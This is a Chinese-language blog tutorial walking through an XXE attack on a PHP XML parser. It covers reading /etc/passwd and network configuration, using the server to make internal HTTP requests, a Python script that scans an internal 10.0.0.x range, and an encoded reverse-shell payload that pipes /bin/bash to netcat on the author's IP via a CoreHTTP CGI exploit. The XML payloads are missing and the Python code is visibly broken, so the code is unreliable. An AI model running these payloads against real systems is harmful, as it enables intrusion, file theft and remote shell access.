當前位置:
首頁 > 最新 > 類似反彈 Shell的XXE 漏洞利用

類似反彈 Shell的XXE 漏洞利用

一次性進群,長期免費索取教程,沒有付費教程。

教程列表見微信公眾號底部菜單

微信公眾號:計算機與網路安全

攻擊者可以使用受信認應用跳轉到其他內部系統,通過http(s)請求或使用CSRF攻擊未受保護的內部系統獲取內部系統信息。

現目前許多XML解析器實現都存在XXE利用。觀察如下PHP腳本,其解析XML之後再進行發送,最後將結果返回給用戶。將該腳本命名為NEWXXE.php並將其放入我的web根目錄下CUSTOM目錄中。雖說該腳本並不進行任何操作,但是管它呢,我們只是將其作為一個途徑來觀察解析器本身的問題。

在WEBSVR01中安裝該php腳本

loadXML($xmlfile, LIBXMLNOENT | LIBXMLDTDLOAD); $xml = simplexmlimport_dom($dom); $stuff = $xml->stuff;

$str = "$stuff
";

echo $str; ?>如果你想自己動手進行測試,可以將上面的腳本放入PHP伺服器上(首先確保你已經安裝了php-xml) 接下來創建一個包含以下內容的xml文件作為請求發送到伺服器,我將其命名為send.txt然後將其從WEBSVR01發送到本地。This is my stuff 將請求發送給WEBSVR01即本地伺服器,如下:

注意觀察返回的響應該腳本運行正常,符合我們的預期。接下來就可以安心搞解析器了。

對send.txt進行如下修改:

這是一個典型的XXE攻擊,對於驗證漏洞來說也很不錯。如果一切運行正常,你應該可以得到/etc/passwd的轉儲信息。

從WEBSVR01再次發包到本地:

XXE另外一個功能就是創建HTTP請求:

在WEBSVR01上開啟python SimpleHTTPServer(8888埠)

python http server:

不錯,我們可以發送http請求。

我可以從遠端利用該漏洞並獲得一些網路信息。從下面這張示意圖中,你可以得知該漏洞存在與互聯網中的web伺服器上,這裡我們可以將其作為一個跳板使用。

我得到web伺服器(34.200.157.128),這就是WEBSVR01且裝配有NAT/Firewall的設備。WEBSVR01存在XXE漏洞,對其收集信息以便作為跳板拿下WEBSRV02。

經過枚舉發現該主機是一台Ubuntu伺服器,這裡有幾個方法獲取其網路信息:

首先你可以抓取/etc/networking/interfaces,如果需要更多信息可以看看/proc/net/route(這些值都是16進位,有必要的話需要進行轉換)

攻擊端Attack PC (Ubuntu 14 LTS),向存在漏洞的伺服器發起文件請求以抓取/etc/network/interfaces。

在攻擊端編輯如下文件以抓取etc/passwd:

構造請求:

現如今我們得知了該主機內部網路的IP方案或DMZ。

使用內網IP地址10.0.0.3通過XXE抓取該伺服器上的默認頁面。

注意!有些字元可能會影響到XML。到目前為止我們查看文件或是構造簡單的http請求還沒有遇到字元影響XML的情況。使用的PHP所以對返回的結果我們可以用Base64進行解碼。在攻擊端修改send.txt增加以下PHP過濾。

發送請求:

之後獲得一串base64編碼,解碼之後獲得頁面內容。

將前面所述結合起來,我們可以對web伺服器的內網IP範圍進行掃描

人生苦短,我用Python

import requests import base64

Origtional XML that the server accepts

user

def buildxml(string): xml = """""" xml = xml + "
" + """""" xml = xml + "
" + """]>""" xml = xml + "
" + """""" xml = xml + "
" + """ &xxe;""" xml = xml + "
" + """""" sendxml(xml)

def sendxml(xml): headers = {"Content-Type": "application/xml"} x = requests.post("http://34.200.157.128/CUSTOM/NEWXEE.php", data=xml, headers=headers, timeout=5).text codedstring = x.split(" ")[-2] # a little split to get only the base64 encoded value print codedstring

print base64.b64decode(coded_string)

for i in range(1, 255): try: i = str(i) ip = "10.0.0." + i string = "php://filter/convert.base64-encode/resource=http://" + ip + "/" print string build_xml(string) except: continue

項目詳情可查看:

https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py

在攻擊端執行

https://ws1.sinaimg.cn/large/6de149eegy1ffeyjn1j9dj218g07vgsl.jpg

看看從10.0.0.4返回的數據都是些啥(base64解碼)

https://wx3.sinaimg.cn/large/6de149eegy1ffeykrf6r7j218g05zdmc.jpg

CoreHTTP? exploit-db上剛好有一個exp https://www.exploit-db.com/exploits/10610/

由於我們獲得了一個ndex.pl(Perl)文件,我假設其開啟了CGI,那麼該利用就是可用的。其漏洞原理是GET請求中傳遞的參數,因此我們能通過XXE漏洞在外部主機上進行利用。 經過Metasploit模塊解密之後,需要發送以下形式的http請求:

http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%200%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60

注意,34.200.157.80是我自己的IP地址且開啟了Netcat監聽器。

通過XXE漏洞觸發在10.0.0.4上的利用。

在攻擊端創建一個Netcat監聽器,然後執行:

與反彈Shell差不多。

微信公眾號:計算機與網路安全

【推薦書籍】


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 計算機與網路安全 的精彩文章:

域的環境搭建、域與域的關係、相互滲透

TAG:計算機與網路安全 |